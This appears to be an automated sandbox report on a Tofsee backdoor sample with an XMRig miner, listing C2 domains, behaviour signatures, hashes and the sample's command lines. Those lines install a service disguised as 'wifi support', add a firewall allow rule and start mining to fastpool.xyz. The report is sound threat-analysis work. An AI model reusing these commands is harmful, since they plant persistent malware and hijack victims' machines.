Analysis

  • max time kernel
    151s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/10/2022, 13:26

General

  • Target
    file.exe
  • Size 223KB
  • Sample221022-qphszadcd5
  • SHA256 fc074642a4200bc9bddbea77bb8ccd40a6f2c865381df58fc5672ecc1e616673
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5044
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mohrxxhk\
      2⤵
        PID:5096
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ugpdcyhm.exe" C:\Windows\SysWOW64\mohrxxhk\
        2⤵
          PID:4736
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mohrxxhk binPath= "C:\Windows\SysWOW64\mohrxxhk\ugpdcyhm.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4156
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mohrxxhk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2352
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mohrxxhk
          2⤵
          • Launches sc.exe
          PID:4828
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4556
      • C:\Windows\SysWOW64\mohrxxhk\ugpdcyhm.exe
        C:\Windows\SysWOW64\mohrxxhk\ugpdcyhm.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3484
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3768
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4928

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            ugpdcyhm.exe

            • Path C:\Users\Admin\AppData\Local\Temp\ugpdcyhm.exe
            • Size 10.1MB
            • SHA256 c67e6a74ade63d46e43165ecb613cb1f2d349e51bf38044dc1770cbaa3e6180b
            • MD5 SHA1 SHA512 SSDEEP

            ugpdcyhm.exe

            • Path C:\Windows\SysWOW64\mohrxxhk\ugpdcyhm.exe
            • Size 10.1MB
            • SHA256 c67e6a74ade63d46e43165ecb613cb1f2d349e51bf38044dc1770cbaa3e6180b
            • MD5 SHA1 SHA512 SSDEEP

            memory/3484-151-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/3484-147-0x0000000002E8E000-0x0000000002EA3000-memory.dmp

            memory/3768-146-0x0000000001200000-0x0000000001215000-memory.dmp

            memory/3768-159-0x0000000003310000-0x0000000003320000-memory.dmp

            memory/3768-168-0x00000000076D0000-0x00000000076D7000-memory.dmp

            memory/3768-162-0x00000000076C0000-0x00000000076C5000-memory.dmp

            memory/3768-165-0x0000000008040000-0x000000000844B000-memory.dmp

            memory/3768-156-0x00000000025F0000-0x00000000025F6000-memory.dmp

            memory/3768-153-0x0000000003000000-0x000000000320F000-memory.dmp

            memory/3768-152-0x0000000001200000-0x0000000001215000-memory.dmp

            memory/3768-150-0x0000000001200000-0x0000000001215000-memory.dmp

            memory/4928-172-0x0000000001200000-0x00000000012F1000-memory.dmp

            memory/4928-177-0x0000000001200000-0x00000000012F1000-memory.dmp

            memory/5044-144-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/5044-143-0x0000000002F03000-0x0000000002F19000-memory.dmp

            memory/5044-133-0x0000000002EA0000-0x0000000002EB3000-memory.dmp

            memory/5044-132-0x0000000002F03000-0x0000000002F19000-memory.dmp

            memory/5044-134-0x0000000000400000-0x0000000002C26000-memory.dmp